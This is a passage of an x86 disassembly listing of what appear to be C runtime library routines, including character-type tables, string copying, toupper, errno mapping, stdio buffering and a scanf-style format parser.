; sub_4200E8+148j
cmp eax, 61h
jb short loc_42025E
cmp eax, 7Ah
ja short loc_42025E
or byte_4DCEC1[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_42023E
; ---------------------------------------------------------------------------
loc_42025E: ; CODE XREF: sub_4200E8+161j
; sub_4200E8+166j
and byte_4DCDC0[eax], 0
loc_420265: ; CODE XREF: sub_4200E8+15Cj
inc eax
cmp eax, esi
jb short loc_420228
loc_42026A: ; CODE XREF: sub_4200E8+137j
pop esi
leave
retn
sub_4200E8 endp
; =============== S U B R O U T I N E =======================================
sub_42026D proc near ; CODE XREF: ___:00422E7Bp
; ___:00422ED7p ...
cmp dword_4DCFF4, 0
jnz short locret_420288
push 0FFFFFFFDh
call sub_41FEA9
pop ecx
mov dword_4DCFF4, 1
locret_420288: ; CODE XREF: sub_42026D+7j
retn
sub_42026D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420289 proc near ; CODE XREF: sub_41B9D1+2Bp
; sub_41B9D1+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_4DCDBC, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_4202AD
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_41B5F0
add esp, 0Ch
jmp short loc_420310
; ---------------------------------------------------------------------------
loc_4202AD: ; CODE XREF: sub_420289+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_4202F2
mov ecx, [ebp+arg_4]
loc_4202B8: ; CODE XREF: sub_420289+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_4DCEC1[esi], 4
mov [edi], al
jz short loc_4202DC
inc edi
inc ecx
test edx, edx
jz short loc_4202E8
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_4202EE
jmp short loc_4202E2
; ---------------------------------------------------------------------------
loc_4202DC: ; CODE XREF: sub_420289+3Ej
inc edi
inc ecx
test al, al
jz short loc_4202F2
loc_4202E2: ; CODE XREF: sub_420289+51j
test edx, edx
jnz short loc_4202B8
jmp short loc_4202F2
; ---------------------------------------------------------------------------
loc_4202E8: ; CODE XREF: sub_420289+44j
and byte ptr [edi-1], 0
jmp short loc_4202F2
; ---------------------------------------------------------------------------
loc_4202EE: ; CODE XREF: sub_420289+4Fj
and byte ptr [edi-2], 0
loc_4202F2: ; CODE XREF: sub_420289+2Aj
; sub_420289+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_42030D
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_42030D: ; CODE XREF: sub_420289+6Fj
mov eax, [ebp+arg_0]
loc_420310: ; CODE XREF: sub_420289+22j
pop edi
pop ebp
retn
sub_420289 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420313 proc near ; CODE XREF: sub_41BBBD+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DBA14, 0
push ebx
jnz short loc_42033E
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_4203DC
cmp eax, 7Ah
jg loc_4203DC
sub eax, 20h
jmp loc_4203DC
; ---------------------------------------------------------------------------
loc_42033E: ; CODE XREF: sub_420313+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_420371
cmp dword_43CBE4, 1
jle short loc_42035E
push 2
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420369
; ---------------------------------------------------------------------------
loc_42035E: ; CODE XREF: sub_420313+3Dj
mov eax, off_43C9D8
mov al, [eax+ebx*2]
and eax, 2
loc_420369: ; CODE XREF: sub_420313+49j
test eax, eax
jnz short loc_420371
loc_42036D: ; CODE XREF: sub_420313+AFj
mov eax, ebx
jmp short loc_4203DC
; ---------------------------------------------------------------------------
loc_420371: ; CODE XREF: sub_420313+34j
; sub_420313+58j
mov edx, off_43C9D8
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_420394
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_42039D
; ---------------------------------------------------------------------------
loc_420394: ; CODE XREF: sub_420313+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_42039D: ; CODE XREF: sub_420313+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_4DBA14
call sub_422ACA
add esp, 20h
test eax, eax
jz short loc_42036D
cmp eax, 1
jnz short loc_4203CF
movzx eax, [ebp+var_4]
jmp short loc_4203DC
; ---------------------------------------------------------------------------
loc_4203CF: ; CODE XREF: sub_420313+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_4203DC: ; CODE XREF: sub_420313+14j
; sub_420313+1Dj ...
pop ebx
leave
retn
sub_420313 endp
; =============== S U B R O U T I N E =======================================
sub_4203DF proc near ; CODE XREF: sub_41BDDC+1Dp
; sub_41D3BE+16p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_4DB95C, ecx
mov eax, offset dword_43CCF0
loc_4203F0: ; CODE XREF: sub_4203DF+1Ej
cmp ecx, [eax]
jz short loc_420414
add eax, 8
inc edx
cmp eax, offset dword_43CE58
jl short loc_4203F0
cmp ecx, 13h
jb short loc_420421
cmp ecx, 24h
ja short loc_420421
mov dword_4DB958, 0Dh
retn
; ---------------------------------------------------------------------------
loc_420414: ; CODE XREF: sub_4203DF+13j
mov eax, dword_43CCF4[edx*8]
mov dword_4DB958, eax
retn
; ---------------------------------------------------------------------------
loc_420421: ; CODE XREF: sub_4203DF+23j
; sub_4203DF+28j
cmp ecx, 0BCh
jb short loc_42043B
cmp ecx, 0CAh
mov dword_4DB958, 8
jbe short locret_420445
loc_42043B: ; CODE XREF: sub_4203DF+48j
mov dword_4DB958, 16h
locret_420445: ; CODE XREF: sub_4203DF+5Aj
retn
sub_4203DF endp
; =============== S U B R O U T I N E =======================================
sub_420446 proc near ; CODE XREF: sub_41BE06+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_423E35
test eax, eax
pop ecx
jz short loc_4204CF
cmp esi, offset dword_43D0E8
jnz short loc_420464
xor eax, eax
jmp short loc_42046F
; ---------------------------------------------------------------------------
loc_420464: ; CODE XREF: sub_420446+18j
cmp esi, offset dword_43D108
jnz short loc_4204CF
push 1
pop eax
loc_42046F: ; CODE XREF: sub_420446+1Cj
inc dword_4DBB40
test word ptr [esi+0Ch], 10Ch
jnz short loc_4204CF
cmp dword_4DB9E4[eax*4], 0
push ebx
push edi
lea edi, ds:4DB9E4h[eax*4]
mov ebx, 1000h
jnz short loc_4204B5
push ebx
call sub_41B4D5
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_4204B5
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_4204C2
; ---------------------------------------------------------------------------
loc_4204B5: ; CODE XREF: sub_420446+4Dj
; sub_420446+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_4204C2: ; CODE XREF: sub_420446+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4204CF: ; CODE XREF: sub_420446+10j
; sub_420446+24j ...
xor eax, eax
pop esi
retn
sub_420446 endp
; =============== S U B R O U T I N E =======================================
sub_4204D3 proc near ; CODE XREF: sub_41BE06+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_4204FD
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_42050E
push esi
call sub_41DB8B
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4204FD: ; CODE XREF: sub_4204D3+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_42050E
push eax
call sub_41DB8B
pop ecx
loc_42050E: ; CODE XREF: sub_4204D3+10j
; sub_4204D3+32j
pop esi
retn
sub_4204D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420510 proc near ; CODE XREF: sub_41C645+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_420F16
mov edi, [ebp+arg_0]
jmp short loc_42053F
; ---------------------------------------------------------------------------
loc_42053A: ; CODE XREF: sub_420510+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_42053F: ; CODE XREF: sub_420510+28j
cmp dword_43CBE4, 1
jle short loc_420557
movzx eax, al
push 8
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_420566
; ---------------------------------------------------------------------------
loc_420557: ; CODE XREF: sub_420510+36j
mov ecx, off_43C9D8
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_420566: ; CODE XREF: sub_420510+45j
cmp eax, ebx
jz short loc_4205A0
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_420F9D
pop ecx
pop ecx
push eax
call sub_420F86
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41D670
add esp, 0Ch
loc_42058E: ; CODE XREF: sub_420510+8Ej
test eax, eax
jz short loc_4205A0
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41D670
pop ecx
jmp short loc_42058E
; ---------------------------------------------------------------------------
loc_4205A0: ; CODE XREF: sub_420510+58j
; sub_420510+80j
cmp byte ptr [esi], 25h
jnz loc_420E82
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_4205D7: ; CODE XREF: sub_420510+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_43CBE4, 1
jle short loc_4205F4
movzx eax, bl
push 4
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_420603
; ---------------------------------------------------------------------------
loc_4205F4: ; CODE XREF: sub_420510+D3j
mov ecx, off_43C9D8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_420603: ; CODE XREF: sub_420510+E2j
test eax, eax
jz short loc_420619
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420619: ; CODE XREF: sub_420510+F5j
cmp ebx, 4Eh
jg short loc_42065C
jz short loc_42067E
cmp ebx, 2Ah
jz short loc_420657
cmp ebx, 46h
jz short loc_42067E
cmp ebx, 49h
jz short loc_420639
cmp ebx, 4Ch
jnz short loc_42066B
inc [ebp+var_D]
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420639: ; CODE XREF: sub_420510+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_42066B
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_42066B
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420657: ; CODE XREF: sub_420510+113j
inc [ebp+var_E]
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_42065C: ; CODE XREF: sub_420510+10Cj
cmp ebx, 68h
jz short loc_420678
cmp ebx, 6Ch
jz short loc_420670
cmp ebx, 77h
jz short loc_420673
loc_42066B: ; CODE XREF: sub_420510+122j
; sub_420510+12Dj ...
inc [ebp+var_F]
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420670: ; CODE XREF: sub_420510+154j
inc [ebp+var_D]
loc_420673: ; CODE XREF: sub_420510+159j
inc [ebp+var_5]
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420678: ; CODE XREF: sub_420510+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_42067E: ; CODE XREF: sub_420510+107j
; sub_420510+10Ej ...
cmp [ebp+var_F], 0
jz loc_4205D7
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_4206A3
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_4206A3: ; CODE XREF: sub_420510+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_4206C1
mov al, [esi]
cmp al, 53h
jz short loc_4206BD
cmp al, 43h
jz short loc_4206BD
or [ebp+var_5], 0FFh
jmp short loc_4206C1
; ---------------------------------------------------------------------------
loc_4206BD: ; CODE XREF: sub_420510+1A1j
; sub_420510+1A5j
mov [ebp+var_5], 1
loc_4206C1: ; CODE XREF: sub_420510+19Bj
; sub_420510+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_4206FA
cmp esi, 63h
jz short loc_4206EB
cmp esi, 7Bh
jz short loc_4206EB
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_420F9D
pop ecx
jmp short loc_4206F6
; ---------------------------------------------------------------------------
loc_4206EB: ; CODE XREF: sub_420510+1C5j
; sub_420510+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
loc_4206F6: ; CODE XREF: sub_420510+1D9j
pop ecx
mov [ebp+var_14], eax
loc_4206FA: ; CODE XREF: sub_420510+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_42070A
cmp [ebp+var_C], eax
jz loc_420EE6
loc_42070A: ; CODE XREF: sub_420510+1EFj
cmp esi, 6Fh
jg loc_420971
jz loc_420C23
cmp esi, 63h
jz loc_42094E
cmp esi, 64h
jz loc_420C23
jle loc_42099B
cmp esi, 67h
jle short loc_42076E
cmp esi, 69h
jz short loc_420756
cmp esi, 6Eh
jnz loc_42099B
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_420E51
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_420756: ; CODE XREF: sub_420510+229j
push 64h
pop esi
loc_420759: ; CODE XREF: sub_420510+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_4209E3
mov [ebp+var_17], 1
jmp loc_4209E8
; ---------------------------------------------------------------------------
loc_42076E: ; CODE XREF: sub_420510+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_42078A
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_42078F
; ---------------------------------------------------------------------------
loc_42078A: ; CODE XREF: sub_420510+26Aj
cmp ebx, 2Bh
jnz short loc_4207A6
loc_42078F: ; CODE XREF: sub_420510+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4207A9
; ---------------------------------------------------------------------------
loc_4207A6: ; CODE XREF: sub_420510+27Dj
mov edi, [ebp+arg_0]
loc_4207A9: ; CODE XREF: sub_420510+294j
cmp [ebp+var_20], 0
jz short loc_4207B8
cmp [ebp+var_C], 15Dh
jle short loc_4207BF
loc_4207B8: ; CODE XREF: sub_420510+29Dj
mov [ebp+var_C], 15Dh
loc_4207BF: ; CODE XREF: sub_420510+2A6j
; sub_420510+2F2j
cmp dword_43CBE4, 1
jle short loc_4207D4
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_4207DF
; ---------------------------------------------------------------------------
loc_4207D4: ; CODE XREF: sub_420510+2B6j
mov eax, off_43C9D8
mov al, [eax+ebx*2]
and eax, 4
loc_4207DF: ; CODE XREF: sub_420510+2C2j
test eax, eax
jz short loc_420804
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420804
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4207BF
; ---------------------------------------------------------------------------
loc_420804: ; CODE XREF: sub_420510+2D1j
; sub_420510+2DBj
cmp byte_43CBE8, bl
jnz short loc_420872
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420872
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
mov al, byte_43CBE8
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_42082D: ; CODE XREF: sub_420510+360j
cmp dword_43CBE4, 1
jle short loc_420842
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_42084D
; ---------------------------------------------------------------------------
loc_420842: ; CODE XREF: sub_420510+324j
mov eax, off_43C9D8
mov al, [eax+ebx*2]
and eax, 4
loc_42084D: ; CODE XREF: sub_420510+330j
test eax, eax
jz short loc_420872
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420872
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_42082D
; ---------------------------------------------------------------------------
loc_420872: ; CODE XREF: sub_420510+2FAj
; sub_420510+304j ...
cmp [ebp+var_1C], 0
jz loc_42090A
cmp ebx, 65h
jz short loc_42088A
cmp ebx, 45h
jnz loc_42090A
loc_42088A: ; CODE XREF: sub_420510+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_42090A
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_4208B1
mov [esi], al
inc esi
jmp short loc_4208B6
; ---------------------------------------------------------------------------
loc_4208B1: ; CODE XREF: sub_420510+39Aj
cmp ebx, 2Bh
jnz short loc_4208D4
loc_4208B6: ; CODE XREF: sub_420510+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_4208C5
and [ebp+var_C], eax
jmp short loc_4208D4
; ---------------------------------------------------------------------------
loc_4208C5: ; CODE XREF: sub_420510+3AEj
; sub_420510+3F8j
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_4208D4: ; CODE XREF: sub_420510+3A4j
; sub_420510+3B3j
cmp dword_43CBE4, 1
jle short loc_4208E9
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_4208F4
; ---------------------------------------------------------------------------
loc_4208E9: ; CODE XREF: sub_420510+3CBj
mov eax, off_43C9D8
mov al, [eax+ebx*2]
and eax, 4
loc_4208F4: ; CODE XREF: sub_420510+3D7j
test eax, eax
jz short loc_42090A
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_42090A
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_4208C5
; ---------------------------------------------------------------------------
loc_42090A: ; CODE XREF: sub_420510+366j
; sub_420510+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_420F86
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_420F16
cmp [ebp+var_E], 0
jnz loc_420E77
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_43CF88
add esp, 0Ch
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_42094E: ; CODE XREF: sub_420510+20Cj
cmp [ebp+var_20], eax
jnz short loc_42095D
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_42095D: ; CODE XREF: sub_420510+441j
cmp [ebp+var_5], 0
jle short loc_420967
mov [ebp+var_16], 1
loc_420967: ; CODE XREF: sub_420510+451j
mov edi, offset dword_43CE60
jmp loc_420A7C
; ---------------------------------------------------------------------------
loc_420971: ; CODE XREF: sub_420510+1FDj
mov eax, esi
sub eax, 70h
jz loc_420C1F
sub eax, 3
jz loc_420A6D
dec eax
dec eax
jz loc_420C23
sub eax, 3
jz loc_420759
sub eax, 3
jz short loc_4209BF
loc_42099B: ; CODE XREF: sub_420510+21Bj
; sub_420510+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_420EE6
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_420E77
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_4209BF: ; CODE XREF: sub_420510+489j
cmp [ebp+var_5], 0
jle short loc_4209C9
mov [ebp+var_16], 1
loc_4209C9: ; CODE XREF: sub_420510+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_420A80
mov eax, edi
lea edi, [eax+1]
jmp loc_420A7C
; ---------------------------------------------------------------------------
loc_4209E3: ; CODE XREF: sub_420510+24Fj
cmp ebx, 2Bh
jnz short loc_420A0A
loc_4209E8: ; CODE XREF: sub_420510+259j
dec [ebp+var_C]
jnz short loc_4209F9
cmp [ebp+var_20], 0
jz short loc_4209F9
mov [ebp+var_F], 1
jmp short loc_420A0A
; ---------------------------------------------------------------------------
loc_4209F9: ; CODE XREF: sub_420510+4DBj
; sub_420510+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_420A0A: ; CODE XREF: sub_420510+4D6j
; sub_420510+4E7j
cmp ebx, 30h
jnz loc_420C58
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_420A58
cmp bl, 58h
jz short loc_420A58
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_420A42
push 6Fh
loc_420A3C: ; CODE XREF: sub_420510+55Bj
pop esi
jmp loc_420C58
; ---------------------------------------------------------------------------
loc_420A42: ; CODE XREF: sub_420510+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_420F86
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_420C55
; ---------------------------------------------------------------------------
loc_420A58: ; CODE XREF: sub_420510+517j
; sub_420510+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_420A3C
; ---------------------------------------------------------------------------
loc_420A6D: ; CODE XREF: sub_420510+46Fj
cmp [ebp+var_5], 0
jle short loc_420A77
mov [ebp+var_16], 1
loc_420A77: ; CODE XREF: sub_420510+561j
mov edi, offset dword_43CE58
loc_420A7C: ; CODE XREF: sub_420510+45Cj
; sub_420510+4CEj
or [ebp+var_18], 0FFh
loc_420A80: ; CODE XREF: sub_420510+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_41B590
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_420AA4
cmp byte ptr [edi], 5Dh
jnz short loc_420AA4
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_420AA7
; ---------------------------------------------------------------------------
loc_420AA4: ; CODE XREF: sub_420510+584j
; sub_420510+589j
mov dl, [ebp+var_35]
loc_420AA7: ; CODE XREF: sub_420510+592j
; sub_420510+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_420B0C
inc edi
cmp al, 2Dh
jnz short loc_420AF3
test dl, dl
jz short loc_420AF3
mov cl, [edi]
cmp cl, 5Dh
jz short loc_420AF3
inc edi
cmp dl, cl
jnb short loc_420AC6
mov al, cl
jmp short loc_420ACA
; ---------------------------------------------------------------------------
loc_420AC6: ; CODE XREF: sub_420510+5B0j
mov al, dl
mov dl, cl
loc_420ACA: ; CODE XREF: sub_420510+5B4j
cmp dl, al
ja short loc_420AEF
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_420AD7: ; CODE XREF: sub_420510+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_420AD7
loc_420AEF: ; CODE XREF: sub_420510+5BCj
xor dl, dl
jmp short loc_420AA7
; ---------------------------------------------------------------------------
loc_420AF3: ; CODE XREF: sub_420510+5A0j
; sub_420510+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_420AA7
; ---------------------------------------------------------------------------
loc_420B0C: ; CODE XREF: sub_420510+59Bj
cmp byte ptr [edi], 0
jz loc_420F16
cmp [ebp+var_3C], 7Bh
jnz short loc_420B1E
mov [ebp+arg_4], edi
loc_420B1E: ; CODE XREF: sub_420510+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_420F86
pop ecx
pop ecx
loc_420B35: ; CODE XREF: sub_420510+6BCj
; sub_420510+6C4j
cmp [ebp+var_20], 0
jz short loc_420B49
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_420BE5
loc_420B49: ; CODE XREF: sub_420510+629j
inc [ebp+var_4]
push edi
call sub_420F6C
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_420BD9
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_420BD9
cmp [ebp+var_E], 0
jnz short loc_420BD1
cmp [ebp+var_16], 0
jz short loc_420BC6
mov ecx, off_43C9D8
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_420BA5
inc [ebp+var_4]
push edi
call sub_420F6C
pop ecx
mov [ebp+var_37], al
loc_420BA5: ; CODE XREF: sub_420510+686j
push dword_43CBE4
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_423EC3
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_420BC9
; ---------------------------------------------------------------------------
loc_420BC6: ; CODE XREF: sub_420510+673j
mov [esi], al
inc esi
loc_420BC9: ; CODE XREF: sub_420510+6B4j
mov [ebp+var_2C], esi
jmp loc_420B35
; ---------------------------------------------------------------------------
loc_420BD1: ; CODE XREF: sub_420510+66Dj
inc [ebp+var_30]
jmp loc_420B35
; ---------------------------------------------------------------------------
loc_420BD9: ; CODE XREF: sub_420510+649j
; sub_420510+667j
dec [ebp+var_4]
push edi
push eax
call sub_420F86
pop ecx
pop ecx
loc_420BE5: ; CODE XREF: sub_420510+633j
cmp [ebp+var_30], esi
jz loc_420F16
cmp [ebp+var_E], 0
jnz loc_420E77
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_420E77
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_420C17
and word ptr [eax], 0
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_420C17: ; CODE XREF: sub_420510+6FCj
and byte ptr [eax], 0
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_420C1F: ; CODE XREF: sub_420510+466j
mov [ebp+var_D], 1
loc_420C23: ; CODE XREF: sub_420510+203j
; sub_420510+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_420C31
mov [ebp+var_17], 1
jmp short loc_420C36
; ---------------------------------------------------------------------------
loc_420C31: ; CODE XREF: sub_420510+719j
cmp ebx, 2Bh
jnz short loc_420C58
loc_420C36: ; CODE XREF: sub_420510+71Fj
dec [ebp+var_C]
jnz short loc_420C47
cmp [ebp+var_20], 0
jz short loc_420C47
mov [ebp+var_F], 1
jmp short loc_420C58
; ---------------------------------------------------------------------------
